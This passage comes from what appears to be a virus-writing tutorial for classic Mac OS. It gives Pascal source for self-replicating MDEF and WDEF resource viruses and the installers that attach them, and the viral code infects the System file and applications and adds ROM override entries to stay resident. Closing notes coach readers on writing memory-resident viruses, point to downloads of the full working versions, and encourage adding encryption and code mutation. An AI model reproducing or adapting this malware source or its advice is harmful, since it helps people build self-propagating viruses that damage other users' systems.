      if PtrAndHand(EntryAddress, theSysMDEF, Bytes2Copy) <> noErr then
       goto 1000;
{Now fix the Header...}
      HLock(theSysMDEF);
      MDEFHeaderHandle(theSysMDEF)^^[1] := $6100;   {BSR}
      MDEFHeaderHandle(theSysMDEF)^^[2] := BranchOffset; {branch point}
      MDEFHeaderHandle(theSysMDEF)^^[3] := $6006;   {BRA.S <Anon1>}
      MDEFHeaderHandle(theSysMDEF)^^[4] := integer('JS'); {'JSBACH'}
      MDEFHeaderHandle(theSysMDEF)^^[5] := integer('BA');
      MDEFHeaderHandle(theSysMDEF)^^[6] := integer('CH');
      HUnlock(theSysMDEF);
{Finally set the resource attributes for the MDEF...}
      theAttrs := GetResAttrs(theSysMDEF);
      SetResAttrs(theSysMDEF, theAttrs + ResSysHeap + ResLocked - ResPurgeable);
{Now mark permanent, and rewrite System File...}
      ChangedResource(theSysMDEF);
      if ResError <> noErr then
       goto 1000;
      UpdateResFile(0);
     end
    else
     goto 1000;   {exit, System is infected}
   end
  else {comes from System}
{Note that if it both System and Application are infected, }
{comesFromApplication will be TRUE, and we processed that already. So,}
{we need to process only one case: (which is the case Application is not infected)}
{but we check the other for completeness}
   begin
    UseResFile(CurrentResFile);      {use opened res file}
    theApplMDEF := Get1Resource('MDEF', 0);  {try to load MDEF from file}
    ApplicationInfected := theApplMDEF <> nil; {did load?}
    if not ApplicationInfected then {if not found, infect}
     begin
      UseResFile(0); {switch to system}
      theSysMDEF := Get1Resource('MDEF', 0); {load system MDEF}
      DetachResource(theSysMDEF);  {detach from res file}
      UseResFile(CurrentResFile); {switch to file we process}
      AddResource(theSysMDEF, 'MDEF', 0, ''); {add virus}
      if ResError <> noErr then
       goto 1000;
      UpdateResFile(currentResFile);
     end;
   end;
{Don't forget to restore the original application resource file}
1000:
  UseResFile(currentResFile);       {*}
 end;
end.

And finally, here comes the installer.
{This is the installer of the MDEF virus. It picks the viral segment and concatenates it with the actual 
MDEF. From that point on, the actual MDEF is doomed to carry with it the viral part. It needs three 
files to operate. The viral code, the original MDEF code, and a sample application. See the pathnames 
below}
program InstallMDEF;
 type
  MDEFHeader = array[1..6] of integer;
  MDEFHeaderPtr = ^MDEFHeader;
  MDEFHeaderHandle = ^MDEFHeaderPtr;
  theFiles = (virus, original, destination);
 var
  refnum: array[theFiles] of integer;
  segment: array[theFiles] of Handle;
  offset: integer;
begin
 refNum[virus] := OpenResFile('Hard Disk:CharConvert:MDEF:MDEF.code');
 writeln('OpenResFile:', ResError);
 refnum[original] := OpenResFile('Hard Disk:CharConvert:MDEF:MDEF.original.rsrc');
 writeln('OpenResFile:', ResError);
 refnum[destination] := OpenResFile('Hard Disk:CharConvert:MDEF:SimpleText');
 writeln('OpenResFile:', ResError);
 UseResFile(refNum[virus]);
 segment[virus] := Get1Resource('MDEF', 0);
 writeln('Get1Resource:', ResError);
 UseResFile(refNum[original]);
 segment[original] := Get1Resource('MDEF', 0);
 writeln('Get1Resource:', ResError);
{Fix Header}
 offset := SizeResource(segment[original]) - 2;
 HLock(segment[original]);
 MDEFHeaderHandle(segment[original])^^[1] := $6100;  {BSR}
 MDEFHeaderHandle(segment[original])^^[2] := offset;  {size of MDEF}
 MDEFHeaderHandle(segment[original])^^[3] := $6006;  {BRA.S <Anon1>}
 MDEFHeaderHandle(segment[original])^^[4] := integer('JS');  {'JSBACH'}
 MDEFHeaderHandle(segment[original])^^[5] := integer('BA');
 MDEFHeaderHandle(segment[original])^^[6] := integer('CH');
 HUnlock(segment[original]);
{Now Concatenate the two Segments}
 HLock(segment[virus]);
 writeln('HandAndHand:', HandAndHand(segment[virus], segment[original]));
{Now segment[original] contains the concatenation}
 HUnlock(segment[virus]);
 DetachResource(segment[original]);
 writeln('DetachResource:', ResError);
 UseResFile(refnum[destination]);
 AddResource(segment[original], 'MDEF', 0, '');
 writeln('AddResource:', ResError);
 CloseResFile(refNum[original]);
 CloseresFile(refNum[virus]);
 CloseResFile(refNum[destination]);
end.

FIFTH EXAMPLE: A WDEF VIRUS

unit WDEF;
interface
 procedure Main;
implementation
 procedure Main;
  label
   1000;                 {exit on error label}
  const
   SysFile = 0;              {Reference number of System File}
  type
   OverrideTable = record          {Format of the ROM Override resource}
     ROMversion: integer;          {version of ROM to override}
     ResNum: integer;           {number of resources that follow}
     ResOvr: array[1..100] of record     {the resources to override}
       ResType: OSType; {type, for example 'MDEF' (in our case we set it to WDEF)}
       ResID: integer;           {and the ID (in our case 0)}
      end;
    end;
   OverrideTablePtr = ^OverrideTable;     {Pointer to above structure}
   OverrideTableHandle = ^OverrideTablePtr;   {Handle to above structure}
  var
   CurrentResFile, err: integer;        {CurrentResFile is the refnum of whoever calls this WDEF}
   theWDEF,    {handle to get hold of the WDEF initially to determine if we come from Sys, ROM or 
Application}
   theApplWDEF,           {handle that may come from infected application, or nil if uninfected}
   theSysWDEF,          {handle that comes from memory or System}
   theROv,            {our ROM override resource}
   theSig: Handle;         {our signature}
   comesFromThisAppl,        {TRUE if WDEF was loaded from application running}
   SysInfected,           {TRUE if signature exists in System file}
   ComesFromSys: boolean;      {TRUE if WDEF loads from System}
   response: longint;        {response from Gestalt selector}
 begin
  theWDEF := GetResource('WDEF', 0);  {Get hold of the WDEF loading resource}
  CurrentResFile := CurResFile;    {find out who is running currently}
  ComesFromThisAppl := HomeResFile(theWDEF) = CurrentResFile; {TRUE if WDEF loads from 
application that is run}
  if ComesFromThisAppl then {infect System}
   begin
    UseResFile(SysFile);   {Use System resource file}
    theSysWDEF := Get1Resource('WDEF', 0);  {there is no way theSysWDEF=nil}
    ComesFromSys := HomeResFile(theSysWDEF) = 0;  {TRUE if WDEF loaded from System}
    theSig := Get1Resource('flag', 0);     {get hold of the signature}
    SysInfected := theSig <> nil;       {if resource does not exist, system clean}
    if not SysInfected then  {not infected...}
     begin
      if ComesFromSys then  {if it comes from System file}
       begin
        RmveResource(theSysWDEF);  {Remove old WDEF}
        if ResError <> noErr then
         goto 1000;
       end;
      DetachResource(theWDEF);     {Detach from Resource file so it loads in memory...}
      AddResource(theWDEF, 'WDEF', 0, ''); {Add it to the System file}
      if ResError <> noErr then
       goto 1000;
      if Gestalt(gestaltROMversion, response) <> noErr then  {find out which version of ROM we are 
running}
       goto 1000;
      theROv := NewHandle(10);      {create new ROM override handle}
      if MemError <> noErr then
       goto 1000;
      HLock(theROv);
      with OverrideTableHandle(theROv)^^ do   {fill with required fields}
       begin
        ROMVersion := BAND($0000FFFF, response);  {ROM version=whatever we got from gestalt}
        ResNum := 1;             {we want only WDEF overrides}
        ResOvr[ResNum].ResType := 'WDEF';     {of ID=0}
        ResOvr[ResNum].ResID := 0;
       end;
      HUnlock(theROv);
      AddResource(theROv, 'ROv#', BAND($0000FFFF, response), '');  {Add it to System file}
      if ResError <> noErr then
       goto 1000;
      theSig := NewHandle(10);       {Create new signature handle}
      if MemError <> noErr then
       goto 1000;
      HLock(theSig);
      StringHandle(theSig)^^ := 'temp flag';  {fill with some text}
      HUnlock(theSig);
      AddResource(theSig, 'flag', 0, '');    {Add it to system file}
      if ResError <> noErr then
       goto 1000;
      UpdateResFile(SysFile);        {Write all new resources}
     end;{if not SysInfected}
   end {comesfromthisappl}
  else {comes from System or ROM, (SysFile) so infect current Application}
   begin
    UseResFile(CurrentResFile);       {use file that's running}
    theApplWDEF := Get1Resource('WDEF', 0);  {maybe already contains a WDEF?}
    if theApplWDEF = nil then {appl does not contain WDEF. I suppose if Appl contains a WDEF 0, 
it is immune}
     begin         {to this virus}
      DetachResource(theWDEF);      {Detach...}
      AddResource(theWDEF, 'WDEF', 0, '');  {Add to application}
      if ResError <> noErr then
       goto 1000;
      UpdateResFile(CurrentResFile);     {Update the file}
     end;
   end;
1000:
  UseResFile(CurrentResFile); {Don't forget to restore the original application resource file}
 end;
end.

And here comes the installer:

{This is the installer of the WDEF virus. It picks the viral segment and concatenates it with the actual 
WDEF. From that point on, the actual WDEF is doomed to carry with it the viral part. It needs three 
files to operate. The viral code, the original WDEF code, and a sample application. See the pathnames 
below}
program InstallWDEF;
 const
  VirusFileName = 'HD2:CharConvert:WDEF:WDEF.code';    {Change pathnames here to reflect the 
structure}
  OriginalWDEFFileName = 'HD2:CharConvert:WDEF:WDEF.original.rsrc';   {of your disk}
  DestinationFileName = 'HD2:CharConvert:WDEF:SimpleText';
 type
  WDEFHeader = array[1..6] of integer;   {interpretation of the header the Pascal compiler sets up, as 
6 integers}
  WDEFHeaderPtr = ^WDEFHeader;     {Pointer to above structure}
  WDEFHeaderHandle = ^WDEFHeaderPtr;   {handle to above structure}
  theFiles = (virus, original, destination);
 var
  refnum: array[theFiles] of integer;
  segment: array[theFiles] of Handle;
  offset: integer;
begin
 refNum[virus] := OpenResFile(VirusFileName);
 writeln('OpenResFile:', ResError);
 refnum[original] := OpenResFile(OriginalWDEFFileName);
 writeln('OpenResFile:', ResError);
 refnum[destination] := OpenResFile(DestinationFileName);
 writeln('OpenResFile:', ResError);
 UseResFile(refNum[virus]);
 segment[virus] := Get1Resource('WDEF', 0);
 writeln('Get1Resource:', ResError);
 UseResFile(refNum[original]);
 segment[original] := Get1Resource('WDEF', 0);
 writeln('Get1Resource:', ResError);
{Fix Header}
 offset := SizeResource(segment[original]) - 2;
 HLock(segment[original]);
 WDEFHeaderHandle(segment[original])^^[1] := $6100;  {BSR}
 WDEFHeaderHandle(segment[original])^^[2] := offset;  {branch to virus}
 WDEFHeaderHandle(segment[original])^^[3] := $6006;  {BRA.S <Anon1>}
 WDEFHeaderHandle(segment[original])^^[4] := integer('JS');  {'JSBACH'}
 WDEFHeaderHandle(segment[original])^^[5] := integer('BA');
 WDEFHeaderHandle(segment[original])^^[6] := integer('CH');
 HUnlock(segment[original]);
{Now Concatenate the two Segments}
 HLock(segment[virus]);
 writeln('HandAndHand:', HandAndHand(segment[virus], segment[original]));
{Now segment[original] contains the concatenation}
 HUnlock(segment[virus]);
 DetachResource(segment[original]);
 writeln('DetachResource:', ResError);
 UseResFile(refnum[destination]);
 AddResource(segment[original], 'WDEF', 0, '');
 writeln('AddResource:', ResError);
 CloseResFile(refNum[original]);
 CloseresFile(refNum[virus]);
 CloseResFile(refNum[destination]);
end.

NOTES ON MEMORY RESIDENT VIRUSES

It is important to note the following when writing memory resident viruses that depend on 
resource code segments being loaded in memory. Segments such as MDEFs and WDEFs override the 
system resources if they are placed in non-system files. This means that if you open a resource file 
with a MDEF resource, it will override the MDEF of the System. However, there are several glitches 
which must be noted. While in general the System uses a Standard MDEF=0 for Sys 7, and a 
WDEF=0, that may change in the future. In particular, the standard code resources are sometimes 
placed in ROM. In our MDEF example, the MDEF=0 is actually in ROM and cannot be modified in 
Sys 7. However because Apple usually makes last minute changes, it includes an overriding 
mechanism, different from the standard res file opening mechanism. It is implemented through a 
ROv# resource in the System file (Sometimes in auxiliary System files as well). The ROv# resource is 
simply a list of the resources to override the ROM ones. Open such a resource with ResEdit to see its 
format. In my MDEF virus above, the MDEF=0 is actually in ROM. But Sys 7 already contains an 
Rov# resource for overriding MDEF=0. That's what the virus takes advantage of, and as a result it 
overrides the ROM resource. But in the WDEF virus, there is no WDEF in the ROv# list, therefore we 
have to add it to the list ourselves, so it gets overridden from now on. Apple's bad design of the ROM 
resources, makes it very difficult to write such memory resident viruses, cause the ROM resources and 
the ROv# resources constantly change. Thus, don't be surprised if your virus works in one system and 
fails in another. The WDEF given above will probably fail on Sys 8. Even the MDEF may fail, for 
that, the reason being the new appearance manager on Sys 8. I recommend careful and meticulous 
study of Sys 8, if you want to write anything that's compatible with 8. Things become even worse with 
Rhapsody. I have no idea what's going on there. It may be the case that the new blue box completely 
shields the System from virus attacks. Be very careful. That's why it is always better to write disk 
based viruses that don't depend on operating system versions. Such viruses make the least number of 
assumptions on the Sys, as a result they are usually compatible with most Systems.
One final note of caution about memory resident code resources: Don't fool around with the 
functionality of the actual code. Try to make your virus as transparent as possible without interfering 
with the actual resource code. This way the original functionality will be preserved. If you consciously 
alter the actual resource code, there's no way to tell what will happen. Be very careful. Finally, to get 
the full working versions of the above viruses and the project files, download them from 
codebreakers.simplenet.com from the Members Files section. Things which have yet to be 
implemented on mac viruses:
1) Efficient code encryption
2) Code mutation
Give it a shot, and try to implement some of these features! It's hard but not impossible.
Have fun!
